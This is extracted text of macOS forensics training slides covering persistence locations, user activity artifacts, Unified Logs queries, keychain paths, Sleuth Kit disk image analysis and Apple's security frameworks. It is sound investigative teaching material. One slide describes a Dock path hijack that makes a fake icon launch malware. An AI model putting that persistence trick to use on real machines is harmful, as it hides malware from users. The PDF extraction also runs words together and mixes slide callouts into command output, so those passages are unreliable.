Autorun programs (1/6)◦ Launch Daemon/Agents▪ Launch Daemon/Agents runs programs according to the setting file(plist) stored in a certain folder when the OS starts.
▪ It is often used for malware.
▪ The folder to save the file varies depending on the developer.
▪ Apple▸/System/Library/LaunchDaemons/▸/System/Library/LaunchAgents/▪ Third-parties▸/Library/LaunchDaemons/▸/Library/LaunchAgents/▪ Users▸~/Library/LaunchAgents/242

Autorun programs (2/6)◦ Persistence monitoring tool BlockBlock% plutil -p /Library/LaunchDaemons/com.objective-see.blockblock.plist{"EnableTransactions" => 0
"Label" => "com.objective-see.blockblock""LSUIElement" => 1
"MachServices" => {"com.objective-see.blockblock" => 1}
"ProgramArguments" => [0 => "/Library/Objective-See/BlockBlock/BlockBlock.app/Contents/MacOS/BlockBlock"]"RunAtLoad" => 1}

243

Autorun programs (3/6)◦ Login Items▪ Login Items runs programs when the user logs in.
▪ It is often used for malware.
▪ macOS 10.12 or earlier▸~/Library/Preferences/com.apple.loginitems.plist▪ macOS 10.13 or later▸~/Library/Application
Support/com.apple.backgroundtaskmanagementagent/bac
kgrounditems.btm

244

Autorun programs (4/6)◦ Replacement of the path to the Dock item run file.

▪ For applications frequently used by the user, their icons can be registered in
the area called Dock at the bottom of the screen.
▸For recently run applications, their icons are also automatically displayed.
▸Application file paths and timestamps, etc. are also recorded.
▸/Users/<username>/Library/Preferences/com.apple.dock.plist▪ By rewriting the path to an application file registered with Dock with that of amalicious program, malware can be run when the user clicks the icon in Dock.
▸Fake application names and icons can be displayed in Dock.
▪ When the malware is run, the legitimate application can be started so that it isless likely to be noticed by the user.
▸https://posts.specterops.io/are-you-docking-kidding-me-9aa79c24bdc1▪ The same attack can be done with .LNK in Windows.
245

Autorun programs (5/6)◦ at▪ Same as that of UNIX/Linux.
▪ Disabled by default.
▪ Started from Launch Daemon.
▸/System/Library/LaunchDaemons/com.apple.atrun.plist▪ Job files:▸/private/var/at/jobs/▸/usr/lib/cron/jobs/▸/usr/lib/cron is hard linked to /private/var/at (same i-node).

◦ cron▪ Same as that of UNIX/Linux.
▪ Job files:▸/private/var/at/tabs/▸/usr/lib/cron/tabs/
246

Autorun programs (6/6)◦ emond (Event Monitor Daemon)▪ Adopted in OS X 10.5.
▸Development of emond is no longer ongoing, but the filestill remains in macOS 11.

▪ emond starts when a file exists in the following
directory.

▸/private/var/db/emondClients▪ Root folder▸/private/etc/emond.d/rules/
247

Recent Items (1/4)◦ Recent Items records accessed files, etc.
as with RecentDocs in Windows.
▪ OS X 10.10 or earlier▸~/Library/Preferences/com.apple.recentitems.plist▪ OS X 10.11 or later▸.sfl and .sfl2 files under ~/Library/Application
Support/com.apple.sharedfilelist/▸*.sfl: OS X 10.11 or later▸*.sfl2: macOS 10.13 or later248

Recent Items (2/4)◦ “Recent Items” in Apple menu.
▪ Recent Applications▸com.apple.LSSharedFileList.RecentApplications(.sfl|.sfl2)▪ Recent Documents▸com.apple.LSSharedFileList.RecentDocuments(.sfl|.sfl2)▸com.apple.LSSharedFileList.ApplicationRecentDocuments/● There are sfl and sfl2 files for each application under this directory.
▪ Recent Servers (saved with the server name)▸com.apple.LSSharedFileList.RecentServers(.sfl|.sfl2)▪ Recent Hosts (saved with the IP address)▸com.apple.LSSharedFileList.RecentHosts(.sfl|.sfl2)249

Recent Items (3/4)◦ Items displayed on the side bar of Finder:▪ Finder Tag▸com.apple.LSSharedFileList.ProjectsItems(.sfl|.sfl2)▪ Favorite Items▸com.apple.LSSharedFileList.FavoriteItems(.sfl|.sfl2)▪ Favorite Volumes▸com.apple.LSSharedFileList.FavoriteVolumes(.sfl|.sfl2)◦ “Favorite Servers” in the “Connect to Server” dialog▪ Favorite Servers▸com.apple.LSSharedFileList.FavoriteServers (.sfl|.sfl2)
250

Recent Items (4/4)◦ Recently used folders in dialog boxes▪ ~/Library/Preferences/.GlobalPreferences.plist▪ defaults read -g NSNavRecentPlaces◦ History of access using Finder▪ ~/Library/Preferences/com.apple.finder.plist▸FXDesktopVolumePositions● Coordinates of volume icons shown on the desktop▸FXRecentFolders● Folder names containing the names of up to ten recently accessedvolumes are recorded.

▸FXConnectToLastURL● Go menu’s Connect to Server▸GoToField / GoToFieldHistory● Go menu’s Go to Folder history251

Safari (1/2)◦ History▪ /Users/<username>/Library/Safari/History.db▪ Deleted after one year by default.

◦ Downloads▪ /Users/<username>/Library/Safari/Downloads.plist▪ Deleted after one day by default.

◦ Last Session▪ Safari 14 or earlier▸/Users/<username>/Library/Safari/LastSession.plist▪ Safari 15 or later▸/Users/<username>/Library/Containers/com.apple.Safari/Data/Library/Safari/SafariTabs.db
252

Safari (2/2)◦ Bookmarks▪
◦ Extensions/Users/<username>/Library/Safari/Bookmarks.plist▪ Safari 13 or earlier▸/Users/<username>/Library/Safari/Extensions/Extensions.plist▪ Safari 14 or later▸/Users/<username>/Library/Containers/com.apple.Safari/Data/Library/Safari/AppExtensions/Ext
ensions.plist▸/Users/<username>/Library/Containers/com.apple.Safari/Data/Library/Safari/WebExtensions/Ext
ensions.plist◦ Preferences▪ Safari 12 or earlier▸/Users/<username>/Library/Preferences/com.apple.Safari.plist▪ Safari 13 or later▸/Users/<username>/Library/Containers/com.apple.Safari/Data/Library/Preferences/com.apple.S
afari.plist

253

Spotlight metadata (1/4)◦ Spotlight is a macOS search system.
◦ It stores the following metadata.
▪ Applications run via Spotlight and searched words▪ File MACB timestamps (separately managed from thosemanaged by the filesystem)▪ Timestamps of the last time when files were used
▪ History of dates when files were used
▪ URLs from which files were downloaded▪ Timestamps of file downloads▪ User-specific information held by Safari, Notes, Maps, Mail,and other applications
254

Spotlight metadata (2/4)◦ Spotlight metadata search▪ mdls▸Outputs the metadata of the specified file.
▪ mdfind▸Searches for files that have the metadata of the specified
conditions.

◦ Analysis of Spotlight metadata▪ mdls and mdfind cannot be used on a system other than thelive system.
▪ A dedicated tool is required for the analysis of the Spotlightdatabase.
255

Spotlight metadata (3/4)◦ Spotlight database (1)OS version

File path

Remarks<=macOS 10.14/.Spotlight-V100/Store-V2/*/store.db

Both system and user data
are contained.

/.Spotlight-V100/Store-V2/*/.store.db>=macOS 10.15/System/Volumes/Data/private/var/db/SpotlightV100/BootVolume/Store-V2/*/store.db

For the separated system
volume in macOS 10.15.

/System/Volumes/Data/private/var/db/SpotlightV100/BootVolume/Store-V2/*/.store.db

256Spotlight metadata (4/4)◦ Spotlight database (2)OS version

File path

Remarks>=macOS 10.13/Users/*/Library/Metadata/CoreSpotlight/index.spotlightV3/store.dbCreated for each user.
Used also in macOS 10.14
or later.

/Users/*/Library/Metadata/CoreSpotlight/index.spotlightV3/.stor
e.db>=macOS 10.15/System/Volumes/Data/.Spotlight-V100/Store-V2/*/store.db

For the separated data
volume in macOS 10.15.

/System/Volumes/Data/.Spotlight-V100/Store-V2/*/.store.db

257

Software installation history◦ InstallHistory▪ /Library/Receipts/InstallHistory.plist▪ Installation history of OSs and software is recorded.
▪ Package name, version, date of installation

258

Quarantine Events◦ Database of files to which the com.apple.quarantine extended attributehas been given due to files downloaded from web browsers, etc.

▪ The records in the database are recorded separately from the extended attribute, and sothey remain even after the file extended attribute is deleted.

◦ Mac OS X 10.6 or earlier▪
◦ Mac OS X 10.7 or later▪
◦ The name of the application used to download the file, timestamp of
download, download source URL, etc. are recorded.
◦ No extended attribute will be set to files downloaded from curl or wget~/Library/Preferences/com.apple.LaunchServices.QuarantineEvents~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2and such an activity will not be recorded in the database either.

259

Log types (1/3)◦ Syslog▪ Traditional UNIX Syslog◦ Apple System Log (ASL)▪ Log aimed at replacing Syslog.
▪ Text format▪ The log is browsed using the Syslog command.
▸syslog -T utc -F raw -d asl/
▸syslog -f log.asl▸Filename: YYYY.MM.DD.[UID].[GID].asl
260

Log types (2/3)◦ Unified Logs (1)▪ Adopted from macOS 10.12.
▪ Binary format▪ Storage directories▸/private/var/db/uuidtext▸/private/var/db/diagnostics▪ Export logs from the live system:▸sudo log collect● system_logs.logarchive is created.
▪ Manually export logs from the disk image:
1. Copy files in the /private/var/db/diagnostics folder and the /private/var/db/uuidtext folder to one
folder (Do not include the parent folders of uuidtext and diagnostics).
2. Add the ".logarchive" extension to the copy destination folder.

▸A little more additional procedures are now required due to the version upgrade of macOS.
● Analyze the acquired UnifiedLog on Catalina● https://padawan-4n6.hatenablog.com/entry/2020/03/15/052607

261

Log types (3/3)◦ Unified Logs (2)▪ log command% log show --debug --info --predicate 'FILTERING CONDITION' --start 'YYYY-MM-DD hh:mm:ss'--end 'YYYY-MM-DD hh:mm:ss'▪ Filtering conditions
eventTypeThe type of event: activityCreateEvent, activityTransitionEvent, logEvent, signpostEvent, stateEvent,timesyncEvent, traceEvent and userActionEvent.
eventMessage
The pattern within the message text, or activity name of a log/trace entry.
messageType
For logEvent and traceEvent, the type of the message itself: default, info, debug, error or fault.
process
The name of the process the originated the event.
processImagePath
The full path of the process that originated the event.
sender
The name of the library, framework, kernel extension, or mach-o image, that originated the event.
senderImagePath
The full path of the library, framework, kernel extension, or mach-o image, that originated the event.
subsystem
The subsystem used to log an event. Only works with log messages generated with os_log(3) APIs.
category
The category used to log an event. Only works with log messages generated with os_log(3) APIs. When
category is used, the subsystem filter should also be provided.

262

Unified Logs (1/5)◦ Unified Logs format
Activity ID
Timestamp

Thread ID

Log Type

TTL% log show --info --debug --predicate 'sender == "TimeMachine"'
Filtering the log data using "sender == "TimeMachine""
Timestamp
ThreadType
Activity
PID
2021-11-09 18:41:17.571449+0900 0x23fb85
Info
0x0
259
[com.apple.TimeMachine:General] Mountpoint '/Volumes/TimeMachine' is still valid

Subsystem

Category

Process Name

Process ID

Sender (Library)TTL
0backupd: (TimeMachine)

Event Message▪ These items are actually written in one line.
263

Unified Logs (2/5)◦ Example filter (1)▪ Running sudo and su

Log filtering conditions

User who run
the command% log show --debug --info --predicate 'process BEGINSWITH "su" and eventMessage CONTAINS[cd] "tty"'
Filtering the log data using "process BEGINSWITH "su" AND composedMessage CONTAINS[cd] "tty""
Timestamp
ThreadType
Activity
PID
TTL
2021-11-17 15:07:18.397543+0900 0x3bf47c
Default
0x099577 0sudo: macforensics :TTY=ttys001 ; PWD=/Users/macforensics ; USER=root ; COMMAND=/usr/bin/xargs -0 -- /bin/rm -2021-11-17 15:07:18.490150+0900 0x3bf54d
Default
0x099580 0sudo: macforensics :TTY=ttys001 ; PWD=/Users/macforensics ; USER=root ; COMMAND=/usr/bin/xargs -0 -- /bin/rm -2021-11-17 15:07:18.536167+0900 0x3bf556
Default
0x099583 0sudo: macforensics :Command run by the user
TTY=ttys001 ; PWD=/Users/macforensics ; USER=root ; COMMAND=/usr/bin/xargs -0 -/usr/local/Homebrew/Library/Homebrew/cask/utils/rmdir.sh
2021-11-17 15:07:18.591643+0900 0x3bf568
Default
0x099587 0sudo: macforensics :TTY=ttys001 ; PWD=/Users/macforensics ; USER=root ; COMMAND=/usr/bin/xargs -0 -/usr/local/Homebrew/Library/Homebrew/cask/utils/rmdir.sh(snip)

264

Unified Logs (3/5)◦ Example filter (2)▪ Login to remote hosts using SSH$ log show --debug --info --predicate 'process == "ssh"'
Filtering the log data using "process == "ssh""
Timestamp
ThreadType
Activity
PID
2021-12-06 15:42:44.871628+0900 0x5bae5
Activity
0xb7af029641(libsystem_info.dylib) Retrieve User by ID
2021-12-06 15:42:44.903844+0900 0x5bae5
Activity
0xb7af1
29641
The username and SSH server(libsystem_info.dylib) Retrieve service by namename cannot be identified.
2021-12-06 15:43:03.713101+0900 0x5bb72
Activity
0xb7bc029643(libsystem_info.dylib) Retrieve User by ID
2021-12-06 15:43:03.715080+0900 0x5bb72
Activity
0xb7bc1
29643(libsystem_info.dylib) Retrieve service by name(snip)

TTL
0

ssh:

0

ssh:

0

ssh:

0

ssh:

265

Unified Logs (4/5)◦ Example filter (3)▪ Volume mount/unmount% log show --info --debug --predicate 'process == "kernel" AND (eventMessage CONTAINS "mounted" OR eventMessage
CONTAINS "unmount")'
Filtering the log data using "process == "kernel" AND (composedMessage CONTAINS "mounted" OR composedMessage
CONTAINS "unmount")"
MountedVolumename TypeTimestamp
ThreadActivity
PID
TTL
2021-12-06 15:54:26.338108+0900 0x5cc5f
Default
0x0
00kernel: (HFS) hfs:
mounted Script Debugger 8.0 on device disk4s2
2021-12-06 15:54:32.218976+0900 0x5cf19
Default
0x0
00kernel: (HFS) hfs:
unmount initiated on Script Debugger 8.0 on device disk4s2(snip)

Unmounted

266

Unified Logs (5/5)◦ Example filter (4)▪ Running an application% log show --info --debug --predicate 'eventMessage BEGINSWITH "LAUNCHING:" OR eventMessage BEGINSWITH "LAUNCH:"'
Application
startedFiltering the log data using "composedMessage BEGINSWITH "LAUNCHING:"
OR composedMessage
BEGINSWITH "LAUNCH: ""the application
Timestamp
ThreadType
Activity
PID
TTL
2021-12-07 01:19:26.884224+0900 0x6886b
Default
0x0
19035 0Dock: (LaunchServices)[com.apple.processmanager:front-35286506] LAUNCH: 0x0-0x220220 com.apple.systempreferences starting stopped
Bundle ID of the application
process.
that wasrun
2021-12-07 08:13:48.861531+0900 0x8b098
Default
0x019047 0Spotlight:(LaunchServices) [com.apple.processmanager:front-35286506] LAUNCH: 0x0-0x23a23a org.pqrs.KarabinerElements.Preferences starting stopped process.
2021-12-07 08:13:53.075373+0900 0x8b26a
Default
0x018976 0UserEventAgent:(LaunchServices) [com.apple.processmanager:front-35286506] LAUNCH: 0x0-0x241241 com.apple.systempreferences
starting stopped process.
(snip)

267

Key chains▪ A key chain stores Wi-Fi access points, application
passwords, website accounts, passwords, certificates, andso on.
▪ System key chain▸/Library/Keychains/System.keychain▸/private/var/db/SystemKey▸Although the SystemKey file contains the master key for

System.keychain file encryption, it cannot be obtained on the live
system if SIP is enabled.

▪ User key chain▸OS X 10.11 or earlier:/Users/<username>/Library/Keychains/login.keychain▸macOS 10.12 or later:/Users/<username>/Library/Keychains/login.keychain-db

268

Network connection (1/2)◦ CFURL Cache▪ CFURL Cache stores cache for HTTP/HTTPs accesses
using NSURLRequest API.

▸/Users/<username>/Library/Caches/<Bundle ID>/Cache.db▸Accessed URLs, access timestamps, responses from the server
are recorded.
▸The timestamp indicates the last accessed date and time.

▪ For a server response exceeding a certain size, a GUID is
assigned and saved as a file.

▸/Users/<username>/Library/Caches/<Bundle ID>/fsCacheData269

Network connection (2/2)◦ Net Usage▪ macOS 10.15 or earlier▸/private/var/networkd/netusage.sqlite▪ macOS 11 or later▸/private/var/networkd/db/netusage.sqlite▪ Net Usage is protected by SIP.
▪ Program name, date and time of the first use, date andtime of the last use, amount of data sent/received.

270

Statistical information (1/2)◦ knowledgeC.db▪ System▸/private/var/db/CoreDuet/Knowledge/▪ Users▸~/Library/Application Support/Knowledge/▪ Statistics on the use of applications, access history on
Safari, etc.

271

Statistical information (2/2)◦ CurrentPowerlog.PLSQL▪ /private/var/db/powerlog/Library/BatteryLife/▸CurrentPowerlog.PLSQL▸Archives/powerlog_YYYY-MMDD_XXXXXXXX.PLQSQL.gz▪ Status of use of applications, clamshell mode status,
battery level, network usage, etc.

272

A2

Appendix 2:
Example of disk image analysis withThe Sleuth Kit (TSK)273

Example of disk image analysis with The Sleuth Kit (TSK) (1/7)◦ Partition information% mmls ./data.dmg
GUID Partition Table (EFI)
Offset Sector: 0Units are in 512-byte sectors
000:
001:
002:
003:
004:
005:
006:

Slot
Meta
------Meta
Meta
000
001
-------

Start
0000000000
0000000000
0000000001
0000000002
0000000040
0000409640
1782988840

End
0000000000
0000000039
0000000001
0000000033
0000409639
1782988839
1782988879

Length0000000001
0000000040
0000000001
0000000032
0000409600
1782579200
0000000040

Description
Safety Table
UnallocatedGPT Header
Partition Table
EFI System Partition
disk image
Unallocated274

Example of disk image analysis with The Sleuth Kit (TSK) (2/7)◦ Status of the APFS container% pstat -o 409640 ./data.dmg | head -200
POOL CONTAINER INFORMATION--------------------------------------------

Container 2fc5f464-f43a-4672-935d-1ebde0f725fe==============================================
Type: APFSNX Block Number: 0
NX oid: 1
NX xid: 1246
Checkpoint Descriptor Block: 96411

Capacity Ceiling (Size): 912680550400 B
Capacity In Use:
824476323840 B
Capacity Available:
88204226560 B
Block Size:
4096 B
Number of Blocks:
222822400
Number of Free Blocks: 21534235|+-> Volume 85516afa-e5b1-41e9-a8d8-eb1431c49299|===========================================|APSB Block Number: 1547567|
APSB oid: 701674|
APSB xid: 1244|
Name (Role): Macintosh HD - Data (Unknown)|
Capacity Consumed: 808942489600 B|
Capacity Reserved: None(snip)Take notes on the APSB Block Numberof the APFS volume to be analyzed.
Check the APFS volume name.
275

Example of disk image analysis with The Sleuth Kit (TSK) (3/7)◦ Status of the APFS volume% fsstat -o 409640 -B 1547567 ./data.dmg
FILE SYSTEM INFORMATION-------------------------------------------File System Type: APFS
Volume UUID 85516afa-e5b1-41e9-a8d8-eb1431c49299
APSB Block Number: 1547567
APSB oid: 701674
APSB xid: 1244
Name (Role): Macintosh HD - Data (Unknown)
Capacity Consumed: 808942489600 B
Capacity Reserved: None
Capacity Quota: None
Case Sensitive: No
Encrypted: No
Formatted by: asr (1677.141.2)

Specify the APSB Block Number.

If you need to access information in
the snapshot, specify the snapshot ID
to the “-S” option of each command.

Created: 2021-10-04 08:41:42.438168812 (JST)Changed: 2021-10-04 09:01:58.085690338 (JST)Snapshots--------[1231] 2021-10-04 09:01:55.141826872 (JST) live_9F8C863A-76B1-45FF-81F7-FFD090EA45AB
Unmount Logs-----------Timestamp
Log String2021-10-04 09:01:58.116745864 (JST) apfs_kext (1677.141.2)

276

Example of disk image analysis with The Sleuth Kit (TSK) (4/7)◦ File list
% fls -o 409640 -B 1547567 ./data.dmg 1097488
d/d 21976703:
sleuthkit-4.11.0
r/r 20122626:
ScriptDebugger8.0-8A32.dmg
Specify the Node ID (i-node).
d/d 19651326:
iso_images
r/r 1141138:.DS_Store
If the ID is omitted, it indicates the root directly.
r/r 21976676:
sleuthkit-4.11.0.tar.gz
r/r 2427334:
sdl-monitor.zip
d/d 8511798:
malware analysis tools
r/r 9369066:
IDAPython-Book.pdf
d/d 9335155:
mac_malware
r/r 1097489:.localized
r/r 6914785:
Hex_Fiend_2.12.dmg
d/d 21998020:
autopsy-4.19.1
d/d 8510663:
objective-see tools
r/r 22504247:
LibreOffice_7.2.0_MacOS_x86-64_langpack_ja.dmg
r/r 8304914:
mt-fuji-477832_1920.jpg
r/r 20123007:
ScriptDebugger7.0.12-7A112.dmg
r/r 9409046:
Intel(R)_USB_3.0_eXtensible_Host_Controller_Driver_5.0.4.43_v2.zip
r/r 8292313:
Kernel_Debug_Kit_10.14.4_build_18E226.dmg
r/r 22483996:
LibreOffice_7.2.0_MacOS_x86-64.dmg
r/r 6914991:
fortiappmonitor_1.0.0_release.pkg
r/r 8628531:
sentinal-one-mac-os-.pdf
d/d 9318561:
IDA Pror/r 8306748:
architecture-1869398_1920.jpg

277

Example of disk image analysis with The Sleuth Kit (TSK) (5/7)◦ File metadata% istat -o 409640 -B 1547567 ./data.dmg 6914785
INode Number: 6914785
Allocated

Type:
Regular FileMode:
rrw-r--r-Size:
2075292
owner / group: 501 / 20
Number of Links: 1
Filename:
BSD flags:

Hex_Fiend_2.12.dmg
0x00000000

Times:Created:Content Modified:Attributes Modified:Accessed:
Date Added:

Timestamp
2020-01-07 12:40:49.837570530 (JST)2020-01-07 12:40:51.118232894 (JST)2021-06-23 15:35:49.890141839 (JST)2020-01-07 14:57:17.754549141 (JST)2020-01-07 12:40:49.837570530 (JST)Extended Attributes

Attributes:
Type: DATA (4352-0)
Name: N/A
Non-Resident
size: 2075292 init_size: 2075292(snip)
Type: ExATTR (4354-1)
Name: com.apple.diskimages.fsck
Resident
size: 20
Type: ExATTR (4354-2)
Name: com.apple.diskimages.recentcksum
Resident
size: 80
Type: ExATTR (4354-3)
Name: com.apple.macl
Resident
size: 72
Type: ExATTR (4354-4)
Name: com.apple.metadata:kMDItemWhereFroms
Resident
size: 616
Type: ExATTR (4354-5)
Name: com.apple.quarantine
Resident
size: 58278

Example of disk image analysis with The Sleuth Kit (TSK) (6/7)◦ File export

Redirect the result of thecommand to a file.

% icat -o 409640 -B 1547567 ./data.dmg 6914785 > Hex_Fiend_2.12.dmg◦ Export of the Extended Attributes% icat -o 409640 -B 1547567 ./data.dmg 6914785-4354-4 | hexdump -n 1000 -C
00000000 62 70 6c 69 73 74 30 30 a2 01 02 5f 11 01 fd 68 |bplist00..._...h|00000010 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2d 70 72 |ttps://github-pr|
00000020 6f 64 75 63 74 69 6f 6e 2d 72 65 6c 65 61 73 65 |oduction-release|
Add
00000030 2d 61 73 73 65
74 the2d Attributes
32 65 36 ID
35 to
62 65 2e 73 33 |-asset-2e65be.s3|
00000040 2e 61 6d 61 7a 6f the
6e 61
77 ID.
73 2e 63 6f 6d 2f 32 |.amazonaws.com/2|
Node00000050 39 32 38 35 33 34 2f 62 36 64 66 39 37 30 30 2d |928534/b6df9700-|(snip)

279

Example of disk image analysis with The Sleuth Kit (TSK) (7/7)◦ Recursive file export% ifind -o 409640 -B 1547567 -n /Users/macforensics/Downloads ./data.dmg
1097488% tsk_recover -a -o 409640 -B 1547567 -d 1097488 ./data.dmg ./export_files/
Files Recovered: 42▪ Multiple files can be exported at once.

280

A3

Appendix 3:
Partition structure for each
macOS version

281

Partition structure for each macOS version (1/8)◦ macOS filesystem▪ macOS 10.12 or earlier▸HFS+▸Filesystem that has been used from Classic Mac OS.
▸Encryption at the filesystem level is not supported.
● CoreStorage is used for disk encryption.

▪ macOS 10.13 or later▸APFS▸Encryption at the filesystem level is supported.
282

Partition structure for each macOS version (2/8)◦ macOS partition structure (1)▪ macOS 10.12 or earlier▸HFS+ filesystem▸The system and user data exist in the same volume, andthe system is protected by the UNIX permission and
System Integrity Protection (SIP).

▪ macOS 10.13/10.14▸Although the APFS was adopted as the filesystem for theboot disk, the partition structure is almost the same as one
for HFS+.
283

Partition structure for each macOS version (3/8)◦ macOS 10.14
disk0

The system and user data
exist in the same volume.

disk0s1
EFI

disk0s2
APFS Container

disk1s1
Macintosh HD
disk1

disk1s2
Preboot
disk1s3
Recoverydisk1s4
VM

284

Partition structure for each macOS version (4/8)◦ macOS partition structure (2)▪ macOS 10.15▸The volume was divided to the system volume (MacintoshHD) and the user data volume (Macintosh HD – Data).
▸The system volume is read-only mounted as root (/)
directory.
▸These two volumes have the same name folders, and theboth volumes can be transparently accessed throughFirmlink.

285

Partition structure for each macOS version (5/8)◦ macOS 10.15
disk0

disk1s1
Macintosh HD - Data
Firmlink

disk0s1
EFI

disk0s2
APFS Container

disk1s5
Macintosh HD
disk1

disk1s2
Preboot

Read-only mountdisk1s3
Recoverydisk1s4
VM

286

Partition structure for each macOS version (6/8)◦ macOS partition structure (3)▪ macOS 11/12▸Almost the same layout as that of macOS 10.15.
▸The snapshot of the system volume is read-only mounted
as root (/) directory.
● The source volume of the snapshot will not be mounted.
▸System volumes are now also digitally signed, and if
signature verification fails, the OS cannot be booted.
● Signed System Volume (SSV)287

Partition structure for each macOS version (7/8)◦ macOS 11/12 (Intel)
disk0

disk0s1
EFI

disk0s2
APFS Container

disk1s1
Macintosh HD - Data
disk1s5
Macintosh HD

disk1

Firmlink

disk1s5s1
com.apple.os.update-GUID
Snapshotdisk1s2
Preboot

Mounted on /(root directory)

disk1s3
RecoveryRead-only mountdisk1s4
VM

288

Partition structure for each macOS version (8/8)◦ The possibility that the filesystem ofmacOS is directly tampered is reducing
year by year.
◦ Analysts should first focus on the range
to which the users can normally accessduring investigation.

289

A4

Appendix 4:macOS security framework

290

macOS security framework (1/4)
Framework

Introduced OS
versionOverview

File Quarantine

OS X 10.5

Gives the com.apple.quarantine extended attribute to downloaded files.
Files with this extended attribute are subject to checking by XProtect, Gatekeeper,and Notarization.

XProtect

OS X 10.6

Simple antivirus tool. Scans when opening files with the com.apple.quarantine
extended attribute is set. Since macOS 10.15, it always scans regardless of theextended attribute.

Gatekeeper

OS X 10.7

Runs only applications that pass the verification of the developer ID issued byApple and the application signature.

Malware Removal
Tool (MRT)OS X 10.11(?)

Detects and deletes installed malware. The MRT does not perform real-time
detection.

System Integrity
Protection (SIP)OS X 10.11

Sets folders and files that cannot be accessed even by root.
Another name: rootless

App Transport
Security (ATS)OS X 10.11

As a measure against man in the middle attacks, only HTTPS communication thatmeet the conditions recommended by Apple with APIs using NSURLSession and
NSURLConnection is permitted.

291

macOS security framework (2/4)
Framework

Introduced OS
versionOverview

Gatekeeper Path
Randomization(GPR)

macOS 10.12

Technology introduced as a measure against dylib hijacking (Repackaging
attack).
When installing an application, this technology makes the installation process start
after moving the application to a random name folder before installation starts sothat resources outside the installer (invalid dylib, etc.) will not be loaded.

User Consent(User Privacy
Protection / TCC)

macOS 10.13

Accessing a directory in which a user’s privacy related data, such as camera andlocation information and email, is stored requires user's permission. Such a
directory cannot be accessed even by root.

Secure Kernel
Extension Loading(SKEL)

macOS 10.13

Loading a kernel extension (KEXT) for the first time requires the user’s
permission.
Since macOS 10.10, signed kernel extensions are required, but this feature will
work regardless of the signature.

Enhanced Runtime
Protection(Hardened Runtime)

macOS 10.14

Prevents debugging and code injection by expanding the SIP function toapplications.

292

macOS security framework (3/4)
Framework

Introduced OS
versionOverview

Notarization

macOS 10.14

Developers upload an application to be distributed outside Mac App Store toApple to have the application checked mechanically as to whether it is malware or
not by Apple. For an application that has passed the check, a ticket is issued,
which is distributed along the application.
This check is not applicable to scripts and stand alone binary. In addition, only
applications with the quarantine bit is set are checked. Apps that are not signedby the developer are also exempt from the check. From macOS 10.14.5, thischeck is forcibly applied.

Read-only System
VolumemacOS 10.15

The APFS filesystem divides the system volume and the data volume and mounts
the system volume as a read only volume, thereby preventing system files frombeing tampered with.

EndpointSecurity
Framework

macOS 10.15

Framework to monitor system events, including the running of processes andactivities for files. Previously, a similar function has uniquely been implemented byeach application. Now the function is provided as a framework.

293

macOS security framework (4/4)
Framework

Introduced OS
versionOverview

User Intent(com.apple.macl)

macOS 10.15

Extended attribute given by the user’s intended operation. Double-clicking, dragand-drop operation, and file access using the NSOpenPanel class are consideredas User Intent. The UUIDs of the applications are recorded as a list in the
com.apple.macl extended attribute of each file or folder. At that time, a dialog box
for privacy protection, etc. will not be displayed. Since the details of thisframework is unknown, it may not actually be provided for security purpose.

Signed System
Volume (SSV)macOS 11.0

A hash value (SHA-256) is stored to the filesystem metadata of the system
volume. When the OS starts, the hash value is verified. If the verification fails, theuser is encouraged to re-install the OS.

294

Confirmation of macOS security framework settings◦ SilentKnight▪ https://eclecticlight.co/lockrattler-systhist/▪ You can confirm various macOS security framework
versions and settings using GUI.

295

CREDITS for this presentation template and Icons

Special thanks to all the people who made and released
these awesome resources for free:◦ Presentation template by SlidesCarnival

296